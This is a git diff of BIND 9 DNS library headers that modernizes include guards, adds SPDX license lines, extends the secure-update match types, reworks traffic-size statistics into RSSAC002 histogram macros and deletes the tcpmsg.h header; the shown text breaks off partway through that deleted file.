diff --git a/lib/dns/include/dns/secalg.h b/lib/dns/include/dns/secalg.h
index 8df35e071e..09b3d2b359 100644
--- a/lib/dns/include/dns/secalg.h
+++ b/lib/dns/include/dns/secalg.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_SECALG_H
-#define DNS_SECALG_H 1
+#pragma once
 
 /*! \file dns/secalg.h */
 
@@ -66,5 +67,3 @@ dns_secalg_format(dns_secalg_t alg, char *cp, unsigned int size);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_SECALG_H */
diff --git a/lib/dns/include/dns/secproto.h b/lib/dns/include/dns/secproto.h
index 5d67840adf..0dc80a089f 100644
--- a/lib/dns/include/dns/secproto.h
+++ b/lib/dns/include/dns/secproto.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_SECPROTO_H
-#define DNS_SECPROTO_H 1
+#pragma once
 
 /*! \file dns/secproto.h */
 
@@ -59,5 +60,3 @@ dns_secproto_totext(dns_secproto_t secproto, isc_buffer_t *target);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_SECPROTO_H */
diff --git a/lib/dns/include/dns/soa.h b/lib/dns/include/dns/soa.h
index 52ee3aadd2..4f8aa07ba5 100644
--- a/lib/dns/include/dns/soa.h
+++ b/lib/dns/include/dns/soa.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_SOA_H
-#define DNS_SOA_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -90,5 +91,3 @@ dns_soa_setminimum(uint32_t val, dns_rdata_t *rdata);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_SOA_H */
diff --git a/lib/dns/include/dns/ssu.h b/lib/dns/include/dns/ssu.h
index 18e2ce19e6..ead0097632 100644
--- a/lib/dns/include/dns/ssu.h
+++ b/lib/dns/include/dns/ssu.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_SSU_H
-#define DNS_SSU_H 1
+#pragma once
 
 /*! \file dns/ssu.h */
 
@@ -42,9 +43,11 @@ typedef enum {
 	dns_ssumatchtype_local = 13,
 	dns_ssumatchtype_selfsubms = 14,
 	dns_ssumatchtype_selfsubkrb5 = 15,
-	dns_ssumatchtype_max = 15, /* max value */
+	dns_ssumatchtype_subdomainselfkrb5rhs = 16,
+	dns_ssumatchtype_subdomainselfmsrhs = 17,
+	dns_ssumatchtype_max = 17, /* max value */
 
-	dns_ssumatchtype_dlz = 16 /* intentionally higher than _max */
+	dns_ssumatchtype_dlz = 18 /* intentionally higher than _max */
 } dns_ssumatchtype_t;
 
 typedef struct dns_ssuruletype {
@@ -52,7 +55,7 @@ typedef struct dns_ssuruletype {
 	unsigned int	max;  /* maximum number of records allowed. */
 } dns_ssuruletype_t;
 
-isc_result_t
+void
 dns_ssutable_create(isc_mem_t *mctx, dns_ssutable_t **table);
 /*%<
  *	Creates a table that will be used to store simple-secure-update rules.
@@ -67,7 +70,7 @@ dns_ssutable_create(isc_mem_t *mctx, dns_ssutable_t **table);
  *\li		ISC_R_NOMEMORY
  */
 
-isc_result_t
+void
 dns_ssutable_createdlz(isc_mem_t *mctx, dns_ssutable_t **tablep,
 		       dns_dlzdb_t *dlzdatabase);
 /*%<
@@ -104,7 +107,7 @@ dns_ssutable_detach(dns_ssutable_t **tablep);
  *			resources used by the table will be freed.
  */
 
-isc_result_t
+void
 dns_ssutable_addrule(dns_ssutable_t *table, bool grant,
 		     const dns_name_t *identity, dns_ssumatchtype_t matchtype,
 		     const dns_name_t *name, unsigned int ntypes,
@@ -140,8 +143,9 @@ dns_ssutable_addrule(dns_ssutable_t *table, bool grant,
 bool
 dns_ssutable_checkrules(dns_ssutable_t *table, const dns_name_t *signer,
 			const dns_name_t *name, const isc_netaddr_t *addr,
-			bool tcp, const dns_aclenv_t *env, dns_rdatatype_t type,
-			const dst_key_t *key, const dns_ssurule_t **rulep);
+			bool tcp, dns_aclenv_t *env, dns_rdatatype_t type,
+			const dns_name_t *target, const dst_key_t *key,
+			const dns_ssurule_t **rulep);
 /*%<
  *	Checks that the attempted update of (name, type) is allowed according
  *	to the rules specified in the simple-secure-update rule table.  If
@@ -255,5 +259,3 @@ dns_ssu_mtypefromstring(const char *str, dns_ssumatchtype_t *mtype);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_SSU_H */
diff --git a/lib/dns/include/dns/stats.h b/lib/dns/include/dns/stats.h
index 25d3f0bc9e..ffa7e21ae1 100644
--- a/lib/dns/include/dns/stats.h
+++ b/lib/dns/include/dns/stats.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,13 +11,14 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_STATS_H
-#define DNS_STATS_H 1
+#pragma once
 
 /*! \file dns/stats.h */
 
 #include <inttypes.h>
 
+#include <isc/histo.h>
+
 #include <dns/types.h>
 
 /*%
@@ -68,9 +71,10 @@ enum {
 	dns_resstatscounter_badcookie = 40,
 	dns_resstatscounter_zonequota = 41,
 	dns_resstatscounter_serverquota = 42,
-	dns_resstatscounter_nextitem = 43,
-	dns_resstatscounter_priming = 44,
-	dns_resstatscounter_max = 45,
+	dns_resstatscounter_clientquota = 43,
+	dns_resstatscounter_nextitem = 44,
+	dns_resstatscounter_priming = 45,
+	dns_resstatscounter_max = 46,
 
 	/*
 	 * DNSSEC stats.
@@ -120,8 +124,9 @@ enum {
 	dns_cachestatscounter_querymisses = 4,
 	dns_cachestatscounter_deletelru = 5,
 	dns_cachestatscounter_deletettl = 6,
+	dns_cachestatscounter_coveringnsec = 7,
 
-	dns_cachestatscounter_max = 7,
+	dns_cachestatscounter_max = 8,
 
 	/*%
 	 * Query statistics counters (obsolete).
@@ -154,309 +159,48 @@ enum {
 };
 
 /*%
- * Traffic size statistics counters. Used as isc_statscounter_t values.
+ * Traffic size statistics, according to RSSAC002 section 2.4
+ * https://www.icann.org/en/system/files/files/rssac-002-measurements-root-20nov14-en.pdf
+ *
+ * The RSSAC002 linear bucketing does not directly match the log-linear
+ * bucketing of an `isc_histo_t`, so we need to adjust some parameters
+ * to fit.
+ *
+ * To map a message size to an `isc_histo_t`, first divide by
+ * DNS_SIZEHISTO_QUANTUM so that `isc_histo_inc()` is presented with
+ * one value per RSSAC002 bucket.
+ *
+ * Configure the `isc_histo_t` with large enough `sigbits` that its
+ * one-value-per-bucket range (its `UNITBUCKETS`) covers the range
+ * required by RSSAC002.
  */
-enum {
-	dns_sizecounter_in_0 = 0,
-	dns_sizecounter_in_16 = 1,
-	dns_sizecounter_in_32 = 2,
-	dns_sizecounter_in_48 = 3,
-	dns_sizecounter_in_64 = 4,
-	dns_sizecounter_in_80 = 5,
-	dns_sizecounter_in_96 = 6,
-	dns_sizecounter_in_112 = 7,
-	dns_sizecounter_in_128 = 8,
-	dns_sizecounter_in_144 = 9,
-	dns_sizecounter_in_160 = 10,
-	dns_sizecounter_in_176 = 11,
-	dns_sizecounter_in_192 = 12,
-	dns_sizecounter_in_208 = 13,
-	dns_sizecounter_in_224 = 14,
-	dns_sizecounter_in_240 = 15,
-	dns_sizecounter_in_256 = 16,
-	dns_sizecounter_in_272 = 17,
-	dns_sizecounter_in_288 = 18,
-
-	dns_sizecounter_in_max = 19,
-};
+#define DNS_SIZEHISTO_QUANTUM	 16
+#define DNS_SIZEHISTO_MAXIN	 (288 / DNS_SIZEHISTO_QUANTUM)
+#define DNS_SIZEHISTO_MAXOUT	 (4096 / DNS_SIZEHISTO_QUANTUM)
+#define DNS_SIZEHISTO_SIGBITSIN	 4
+#define DNS_SIZEHISTO_SIGBITSOUT 7
 
-enum {
-	dns_sizecounter_out_0 = 0,
-	dns_sizecounter_out_16 = 1,
-	dns_sizecounter_out_32 = 2,
-	dns_sizecounter_out_48 = 3,
-	dns_sizecounter_out_64 = 4,
-	dns_sizecounter_out_80 = 5,
-	dns_sizecounter_out_96 = 6,
-	dns_sizecounter_out_112 = 7,
-	dns_sizecounter_out_128 = 8,
-	dns_sizecounter_out_144 = 9,
-	dns_sizecounter_out_160 = 10,
-	dns_sizecounter_out_176 = 11,
-	dns_sizecounter_out_192 = 12,
-	dns_sizecounter_out_208 = 13,
-	dns_sizecounter_out_224 = 14,
-	dns_sizecounter_out_240 = 15,
-	dns_sizecounter_out_256 = 16,
-	dns_sizecounter_out_272 = 17,
-	dns_sizecounter_out_288 = 18,
-	dns_sizecounter_out_304 = 19,
-	dns_sizecounter_out_320 = 20,
-	dns_sizecounter_out_336 = 21,
-	dns_sizecounter_out_352 = 22,
-	dns_sizecounter_out_368 = 23,
-	dns_sizecounter_out_384 = 24,
-	dns_sizecounter_out_400 = 25,
-	dns_sizecounter_out_416 = 26,
-	dns_sizecounter_out_432 = 27,
-	dns_sizecounter_out_448 = 28,
-	dns_sizecounter_out_464 = 29,
-	dns_sizecounter_out_480 = 30,
-	dns_sizecounter_out_496 = 31,
-	dns_sizecounter_out_512 = 32,
-	dns_sizecounter_out_528 = 33,
-	dns_sizecounter_out_544 = 34,
-	dns_sizecounter_out_560 = 35,
-	dns_sizecounter_out_576 = 36,
-	dns_sizecounter_out_592 = 37,
-	dns_sizecounter_out_608 = 38,
-	dns_sizecounter_out_624 = 39,
-	dns_sizecounter_out_640 = 40,
-	dns_sizecounter_out_656 = 41,
-	dns_sizecounter_out_672 = 42,
-	dns_sizecounter_out_688 = 43,
-	dns_sizecounter_out_704 = 44,
-	dns_sizecounter_out_720 = 45,
-	dns_sizecounter_out_736 = 46,
-	dns_sizecounter_out_752 = 47,
-	dns_sizecounter_out_768 = 48,
-	dns_sizecounter_out_784 = 49,
-	dns_sizecounter_out_800 = 50,
-	dns_sizecounter_out_816 = 51,
-	dns_sizecounter_out_832 = 52,
-	dns_sizecounter_out_848 = 53,
-	dns_sizecounter_out_864 = 54,
-	dns_sizecounter_out_880 = 55,
-	dns_sizecounter_out_896 = 56,
-	dns_sizecounter_out_912 = 57,
-	dns_sizecounter_out_928 = 58,
-	dns_sizecounter_out_944 = 59,
-	dns_sizecounter_out_960 = 60,
-	dns_sizecounter_out_976 = 61,
-	dns_sizecounter_out_992 = 62,
-	dns_sizecounter_out_1008 = 63,
-	dns_sizecounter_out_1024 = 64,
-	dns_sizecounter_out_1040 = 65,
-	dns_sizecounter_out_1056 = 66,
-	dns_sizecounter_out_1072 = 67,
-	dns_sizecounter_out_1088 = 68,
-	dns_sizecounter_out_1104 = 69,
-	dns_sizecounter_out_1120 = 70,
-	dns_sizecounter_out_1136 = 71,
-	dns_sizecounter_out_1152 = 72,
-	dns_sizecounter_out_1168 = 73,
-	dns_sizecounter_out_1184 = 74,
-	dns_sizecounter_out_1200 = 75,
-	dns_sizecounter_out_1216 = 76,
-	dns_sizecounter_out_1232 = 77,
-	dns_sizecounter_out_1248 = 78,
-	dns_sizecounter_out_1264 = 79,
-	dns_sizecounter_out_1280 = 80,
-	dns_sizecounter_out_1296 = 81,
-	dns_sizecounter_out_1312 = 82,
-	dns_sizecounter_out_1328 = 83,
-	dns_sizecounter_out_1344 = 84,
-	dns_sizecounter_out_1360 = 85,
-	dns_sizecounter_out_1376 = 86,
-	dns_sizecounter_out_1392 = 87,
-	dns_sizecounter_out_1408 = 88,
-	dns_sizecounter_out_1424 = 89,
-	dns_sizecounter_out_1440 = 90,
-	dns_sizecounter_out_1456 = 91,
-	dns_sizecounter_out_1472 = 92,
-	dns_sizecounter_out_1488 = 93,
-	dns_sizecounter_out_1504 = 94,
-	dns_sizecounter_out_1520 = 95,
-	dns_sizecounter_out_1536 = 96,
-	dns_sizecounter_out_1552 = 97,
-	dns_sizecounter_out_1568 = 98,
-	dns_sizecounter_out_1584 = 99,
-	dns_sizecounter_out_1600 = 100,
-	dns_sizecounter_out_1616 = 101,
-	dns_sizecounter_out_1632 = 102,
-	dns_sizecounter_out_1648 = 103,
-	dns_sizecounter_out_1664 = 104,
-	dns_sizecounter_out_1680 = 105,
-	dns_sizecounter_out_1696 = 106,
-	dns_sizecounter_out_1712 = 107,
-	dns_sizecounter_out_1728 = 108,
-	dns_sizecounter_out_1744 = 109,
-	dns_sizecounter_out_1760 = 110,
-	dns_sizecounter_out_1776 = 111,
-	dns_sizecounter_out_1792 = 112,
-	dns_sizecounter_out_1808 = 113,
-	dns_sizecounter_out_1824 = 114,
-	dns_sizecounter_out_1840 = 115,
-	dns_sizecounter_out_1856 = 116,
-	dns_sizecounter_out_1872 = 117,
-	dns_sizecounter_out_1888 = 118,
-	dns_sizecounter_out_1904 = 119,
-	dns_sizecounter_out_1920 = 120,
-	dns_sizecounter_out_1936 = 121,
-	dns_sizecounter_out_1952 = 122,
-	dns_sizecounter_out_1968 = 123,
-	dns_sizecounter_out_1984 = 124,
-	dns_sizecounter_out_2000 = 125,
-	dns_sizecounter_out_2016 = 126,
-	dns_sizecounter_out_2032 = 127,
-	dns_sizecounter_out_2048 = 128,
-	dns_sizecounter_out_2064 = 129,
-	dns_sizecounter_out_2080 = 130,
-	dns_sizecounter_out_2096 = 131,
-	dns_sizecounter_out_2112 = 132,
-	dns_sizecounter_out_2128 = 133,
-	dns_sizecounter_out_2144 = 134,
-	dns_sizecounter_out_2160 = 135,
-	dns_sizecounter_out_2176 = 136,
-	dns_sizecounter_out_2192 = 137,
-	dns_sizecounter_out_2208 = 138,
-	dns_sizecounter_out_2224 = 139,
-	dns_sizecounter_out_2240 = 140,
-	dns_sizecounter_out_2256 = 141,
-	dns_sizecounter_out_2272 = 142,
-	dns_sizecounter_out_2288 = 143,
-	dns_sizecounter_out_2304 = 144,
-	dns_sizecounter_out_2320 = 145,
-	dns_sizecounter_out_2336 = 146,
-	dns_sizecounter_out_2352 = 147,
-	dns_sizecounter_out_2368 = 148,
-	dns_sizecounter_out_2384 = 149,
-	dns_sizecounter_out_2400 = 150,
-	dns_sizecounter_out_2416 = 151,
-	dns_sizecounter_out_2432 = 152,
-	dns_sizecounter_out_2448 = 153,
-	dns_sizecounter_out_2464 = 154,
-	dns_sizecounter_out_2480 = 155,
-	dns_sizecounter_out_2496 = 156,
-	dns_sizecounter_out_2512 = 157,
-	dns_sizecounter_out_2528 = 158,
-	dns_sizecounter_out_2544 = 159,
-	dns_sizecounter_out_2560 = 160,
-	dns_sizecounter_out_2576 = 161,
-	dns_sizecounter_out_2592 = 162,
-	dns_sizecounter_out_2608 = 163,
-	dns_sizecounter_out_2624 = 164,
-	dns_sizecounter_out_2640 = 165,
-	dns_sizecounter_out_2656 = 166,
-	dns_sizecounter_out_2672 = 167,
-	dns_sizecounter_out_2688 = 168,
-	dns_sizecounter_out_2704 = 169,
-	dns_sizecounter_out_2720 = 170,
-	dns_sizecounter_out_2736 = 171,
-	dns_sizecounter_out_2752 = 172,
-	dns_sizecounter_out_2768 = 173,
-	dns_sizecounter_out_2784 = 174,
-	dns_sizecounter_out_2800 = 175,
-	dns_sizecounter_out_2816 = 176,
-	dns_sizecounter_out_2832 = 177,
-	dns_sizecounter_out_2848 = 178,
-	dns_sizecounter_out_2864 = 179,
-	dns_sizecounter_out_2880 = 180,
-	dns_sizecounter_out_2896 = 181,
-	dns_sizecounter_out_2912 = 182,
-	dns_sizecounter_out_2928 = 183,
-	dns_sizecounter_out_2944 = 184,
-	dns_sizecounter_out_2960 = 185,
-	dns_sizecounter_out_2976 = 186,
-	dns_sizecounter_out_2992 = 187,
-	dns_sizecounter_out_3008 = 188,
-	dns_sizecounter_out_3024 = 189,
-	dns_sizecounter_out_3040 = 190,
-	dns_sizecounter_out_3056 = 191,
-	dns_sizecounter_out_3072 = 192,
-	dns_sizecounter_out_3088 = 193,
-	dns_sizecounter_out_3104 = 194,
-	dns_sizecounter_out_3120 = 195,
-	dns_sizecounter_out_3136 = 196,
-	dns_sizecounter_out_3152 = 197,
-	dns_sizecounter_out_3168 = 198,
-	dns_sizecounter_out_3184 = 199,
-	dns_sizecounter_out_3200 = 200,
-	dns_sizecounter_out_3216 = 201,
-	dns_sizecounter_out_3232 = 202,
-	dns_sizecounter_out_3248 = 203,
-	dns_sizecounter_out_3264 = 204,
-	dns_sizecounter_out_3280 = 205,
-	dns_sizecounter_out_3296 = 206,
-	dns_sizecounter_out_3312 = 207,
-	dns_sizecounter_out_3328 = 208,
-	dns_sizecounter_out_3344 = 209,
-	dns_sizecounter_out_3360 = 210,
-	dns_sizecounter_out_3376 = 211,
-	dns_sizecounter_out_3392 = 212,
-	dns_sizecounter_out_3408 = 213,
-	dns_sizecounter_out_3424 = 214,
-	dns_sizecounter_out_3440 = 215,
-	dns_sizecounter_out_3456 = 216,
-	dns_sizecounter_out_3472 = 217,
-	dns_sizecounter_out_3488 = 218,
-	dns_sizecounter_out_3504 = 219,
-	dns_sizecounter_out_3520 = 220,
-	dns_sizecounter_out_3536 = 221,
-	dns_sizecounter_out_3552 = 222,
-	dns_sizecounter_out_3568 = 223,
-	dns_sizecounter_out_3584 = 224,
-	dns_sizecounter_out_3600 = 225,
-	dns_sizecounter_out_3616 = 226,
-	dns_sizecounter_out_3632 = 227,
-	dns_sizecounter_out_3648 = 228,
-	dns_sizecounter_out_3664 = 229,
-	dns_sizecounter_out_3680 = 230,
-	dns_sizecounter_out_3696 = 231,
-	dns_sizecounter_out_3712 = 232,
-	dns_sizecounter_out_3728 = 233,
-	dns_sizecounter_out_3744 = 234,
-	dns_sizecounter_out_3760 = 235,
-	dns_sizecounter_out_3776 = 236,
-	dns_sizecounter_out_3792 = 237,
-	dns_sizecounter_out_3808 = 238,
-	dns_sizecounter_out_3824 = 239,
-	dns_sizecounter_out_3840 = 240,
-	dns_sizecounter_out_3856 = 241,
-	dns_sizecounter_out_3872 = 242,
-	dns_sizecounter_out_3888 = 243,
-	dns_sizecounter_out_3904 = 244,
-	dns_sizecounter_out_3920 = 245,
-	dns_sizecounter_out_3936 = 246,
-	dns_sizecounter_out_3952 = 247,
-	dns_sizecounter_out_3968 = 248,
-	dns_sizecounter_out_3984 = 249,
-	dns_sizecounter_out_4000 = 250,
-	dns_sizecounter_out_4016 = 251,
-	dns_sizecounter_out_4032 = 252,
-	dns_sizecounter_out_4048 = 253,
-	dns_sizecounter_out_4064 = 254,
-	dns_sizecounter_out_4080 = 255,
-	dns_sizecounter_out_4096 = 256,
-
-	dns_sizecounter_out_max = 257
-};
+#define DNS_SIZEHISTO_BUCKETIN(size) \
+	ISC_MIN(size / DNS_SIZEHISTO_QUANTUM, DNS_SIZEHISTO_MAXIN)
 
-#define DNS_STATS_NCOUNTERS 8
+#define DNS_SIZEHISTO_BUCKETOUT(size) \
+	ISC_MIN(size / DNS_SIZEHISTO_QUANTUM, DNS_SIZEHISTO_MAXOUT)
 
-#if 0
-/*%<
- * Flag(s) for dns_xxxstats_dump().  DNS_STATSDUMP_VERBOSE is obsolete.
- * ISC_STATSDUMP_VERBOSE should be used instead.  These two values are
- * intentionally defined to be the same value to ensure binary compatibility.
- */
-#define DNS_STATSDUMP_VERBOSE 0x00000001 /*%< dump 0-value counters */
-#endif					 /* if 0 */
+STATIC_ASSERT(DNS_SIZEHISTO_MAXIN <=
+		      ISC_HISTO_UNITBUCKETS(DNS_SIZEHISTO_SIGBITSIN),
+	      "must be enough histogram buckets for RSSAC002");
 
-/*%<
- * (Obsoleted)
+STATIC_ASSERT(DNS_SIZEHISTO_MAXOUT <=
+		      ISC_HISTO_UNITBUCKETS(DNS_SIZEHISTO_SIGBITSOUT),
+	      "must be enough histogram buckets for RSSAC002");
+
+/*
+ * For consistency with other stats counters
  */
-LIBDNS_EXTERNAL_DATA extern const char *dns_statscounter_names[];
+enum {
+	dns_sizecounter_in_max = DNS_SIZEHISTO_MAXIN + 1,
+	dns_sizecounter_out_max = DNS_SIZEHISTO_MAXOUT + 1,
+};
 
 /*%
  * Attributes for statistics counters of RRset and Rdatatype types.
@@ -508,13 +252,13 @@ typedef enum {
 typedef void (*dns_generalstats_dumper_t)(isc_statscounter_t, uint64_t, void *);
 typedef void (*dns_rdatatypestats_dumper_t)(dns_rdatastatstype_t, uint64_t,
 					    void *);
-typedef void (*dns_dnssecsignstats_dumper_t)(dns_keytag_t, uint64_t, void *);
+typedef void (*dns_dnssecsignstats_dumper_t)(uint32_t, uint64_t, void *);
 typedef void (*dns_opcodestats_dumper_t)(dns_opcode_t, uint64_t, void *);
 typedef void (*dns_rcodestats_dumper_t)(dns_rcode_t, uint64_t, void *);
 
 ISC_LANG_BEGINDECLS
 
-isc_result_t
+void
 dns_generalstats_create(isc_mem_t *mctx, dns_stats_t **statsp, int ncounters);
 /*%<
  * Create a statistics counter structure of general type.  It counts a general
@@ -526,14 +270,9 @@ dns_generalstats_create(isc_mem_t *mctx, dns_stats_t **statsp, int ncounters);
  *\li	'mctx' must be a valid memory context.
  *
  *\li	'statsp' != NULL && '*statsp' == NULL.
- *
- * Returns:
- *\li	ISC_R_SUCCESS	-- all ok
- *
- *\li	anything else	-- failure
  */
 
-isc_result_t
+void
 dns_rdatatypestats_create(isc_mem_t *mctx, dns_stats_t **statsp);
 /*%<
  * Create a statistics counter structure per rdatatype.
@@ -542,14 +281,9 @@ dns_rdatatypestats_create(isc_mem_t *mctx, dns_stats_t **statsp);
  *\li	'mctx' must be a valid memory context.
  *
  *\li	'statsp' != NULL && '*statsp' == NULL.
- *
- * Returns:
- *\li	ISC_R_SUCCESS	-- all ok
- *
- *\li	anything else	-- failure
  */
 
-isc_result_t
+void
 dns_rdatasetstats_create(isc_mem_t *mctx, dns_stats_t **statsp);
 /*%<
  * Create a statistics counter structure per RRset.
@@ -558,14 +292,9 @@ dns_rdatasetstats_create(isc_mem_t *mctx, dns_stats_t **statsp);
  *\li	'mctx' must be a valid memory context.
  *
  *\li	'statsp' != NULL && '*statsp' == NULL.
- *
- * Returns:
- *\li	ISC_R_SUCCESS	-- all ok
- *
- *\li	anything else	-- failure
  */
 
-isc_result_t
+void
 dns_opcodestats_create(isc_mem_t *mctx, dns_stats_t **statsp);
 /*%<
  * Create a statistics counter structure per opcode.
@@ -574,14 +303,9 @@ dns_opcodestats_create(isc_mem_t *mctx, dns_stats_t **statsp);
  *\li	'mctx' must be a valid memory context.
  *
  *\li	'statsp' != NULL && '*statsp' == NULL.
- *
- * Returns:
- *\li	ISC_R_SUCCESS	-- all ok
- *
- *\li	anything else	-- failure
  */
 
-isc_result_t
+void
 dns_rcodestats_create(isc_mem_t *mctx, dns_stats_t **statsp);
 /*%<
  * Create a statistics counter structure per assigned rcode.
@@ -590,14 +314,9 @@ dns_rcodestats_create(isc_mem_t *mctx, dns_stats_t **statsp);
  *\li	'mctx' must be a valid memory context.
  *
  *\li	'statsp' != NULL && '*statsp' == NULL.
- *
- * Returns:
- *\li	ISC_R_SUCCESS	-- all ok
- *
- *\li	anything else	-- failure
  */
 
-isc_result_t
+void
 dns_dnssecsignstats_create(isc_mem_t *mctx, dns_stats_t **statsp);
 /*%<
  * Create a statistics counter structure per assigned DNSKEY id.
@@ -606,11 +325,6 @@ dns_dnssecsignstats_create(isc_mem_t *mctx, dns_stats_t **statsp);
  *\li	'mctx' must be a valid memory context.
  *
  *\li	'statsp' != NULL && '*statsp' == NULL.
- *
- * Returns:
- *\li	ISC_R_SUCCESS	-- all ok
- *
- *\li	anything else	-- failure
  */
 
 void
@@ -698,8 +412,17 @@ void
 dns_dnssecsignstats_increment(dns_stats_t *stats, dns_keytag_t id, uint8_t alg,
 			      dnssecsignstats_type_t operation);
 /*%<
- * Increment the statistics counter for the DNSKEY 'id'. The 'operation'
- * determines what counter is incremented.
+ * Increment the statistics counter for the DNSKEY 'id' with algorithm 'alg'.
+ * The 'operation' determines what counter is incremented.
+ *
+ * Requires:
+ *\li	'stats' is a valid dns_stats_t created by dns_dnssecsignstats_create().
+ */
+
+void
+dns_dnssecsignstats_clear(dns_stats_t *stats, dns_keytag_t id, uint8_t alg);
+/*%<
+ * Clear the statistics counter for the DNSKEY 'id' with algorithm 'alg'.
  *
  * Requires:
  *\li	'stats' is a valid dns_stats_t created by dns_dnssecsignstats_create().
@@ -792,24 +515,4 @@ dns_rcodestats_dump(dns_stats_t *stats, dns_rcodestats_dumper_t dump_fn,
  *\li	'stats' is a valid dns_stats_t created by dns_generalstats_create().
  */
 
-isc_result_t
-dns_stats_alloccounters(isc_mem_t *mctx, uint64_t **ctrp);
-/*%<
- * Allocate an array of query statistics counters from the memory
- * context 'mctx'.
- *
- * This function is obsoleted.  Use dns_xxxstats_create() instead.
- */
-
-void
-dns_stats_freecounters(isc_mem_t *mctx, uint64_t **ctrp);
-/*%<
- * Free an array of query statistics counters allocated from the memory
- * context 'mctx'.
- *
- * This function is obsoleted.  Use dns_stats_destroy() instead.
- */
-
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_STATS_H */
diff --git a/lib/dns/include/dns/tcpmsg.h b/lib/dns/include/dns/tcpmsg.h
deleted file mode 100644
index 375df60c7a..0000000000
--- a/lib/dns/include/dns/tcpmsg.h
+++ /dev/null
@@ -1,141 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef DNS_TCPMSG_H
-#define DNS_TCPMSG_H 1
-
-/*! \file dns/tcpmsg.h */
-
-#include <inttypes.h>
-
-#include <isc/buffer.h>
-#include <isc/lang.h>
-#include <isc/socket.h>
-
-typedef struct dns_tcpmsg {
-	/* private (don't touch!) */
-	unsigned int	 magic;
-	uint16_t	 size;
-	isc_buffer_t	 buffer;
-	unsigned int	 maxsize;
-	isc_mem_t *	 mctx;
-	isc_socket_t *	 sock;
-	isc_task_t *	 task;
-	isc_taskaction_t action;
-	void *		 arg;
-	isc_event_t	 event;
-	/* public (read-only) */
-	isc_result_t   result;
-	isc_sockaddr_t address;
-} dns_tcpmsg_t;
-
-ISC_LANG_BEGINDECLS
-
-void
-dns_tcpmsg_init(isc_mem_t *mctx, isc_socket_t *sock, dns_tcpmsg_t *tcpmsg);
-/*%<
- * Associate a tcp message state with a given memory context and
- * TCP socket.
- *
- * Requires:
- *
- *\li	"mctx" and "sock" be non-NULL and valid types.
- *
- *\li	"sock" be a read/write TCP socket.
- *
- *\li	"tcpmsg" be non-NULL and an uninitialized or invalidated structure.
- *
- * Ensures:
- *
- *\li	"tcpmsg" is a valid structure.
- */
-
-void
-dns_tcpmsg_setmaxsize(dns_tcpmsg_t *tcpmsg, unsigned int maxsize);
-/*%<
- * Set the maximum packet size to "maxsize"
- *
- * Requires:
- *
- *\li	"tcpmsg" be valid.
- *
- *\li	512 <= "maxsize" <= 65536
- */
-
-isc_result_t
-dns_tcpmsg_readmessage(dns_tcpmsg_t *tcpmsg, isc_task_t *task,
-		       isc_taskaction_t action, void *arg);
-/*%<
- * Schedule an event to be delivered when a DNS message is readable, or
- * when an error occurs on the socket.
- *
- * Requires:
- *
- *\li	"tcpmsg" be valid.
- *
- *\li	"task", "taskaction", and "arg" be valid.
- *
- * Returns:
- *
- *\li	ISC_R_SUCCESS		-- no error
- *\li	Anything that the isc_socket_recv() call can return.  XXXMLG
- *
- * Notes:
- *
- *\li	The event delivered is a fully generic event.  It will contain no
- *	actual data.  The sender will be a pointer to the dns_tcpmsg_t.
- *	The result code inside that structure should be checked to see
- *	what the final result was.
- */
-
-void
-dns_tcpmsg_cancelread(dns_tcpmsg_t *tcpmsg);
-/*%<
- * Cancel a readmessage() call.  The event will still be posted with a
- * CANCELED result code.
- *
- * Requires:
- *
- *\li	"tcpmsg" be valid.
- */
-
-void
-dns_tcpmsg_keepbuffer(dns_tcpmsg_t *tcpmsg, isc_buffer_t *buffer);
-/*%<
- * If a dns buffer is to be kept between calls, this function marks the
- * internal state-machine buffer as invalid, and copies all the contents
- * of the state into "buffer".
- *
- * Requires:
- *
- *\li	"tcpmsg" be valid.
- *
- *\li	"buffer" be non-NULL.
- */
-
-void
-dns_tcpmsg_invalidate(dns_tcpmsg_t *tcpmsg);
-/*%<
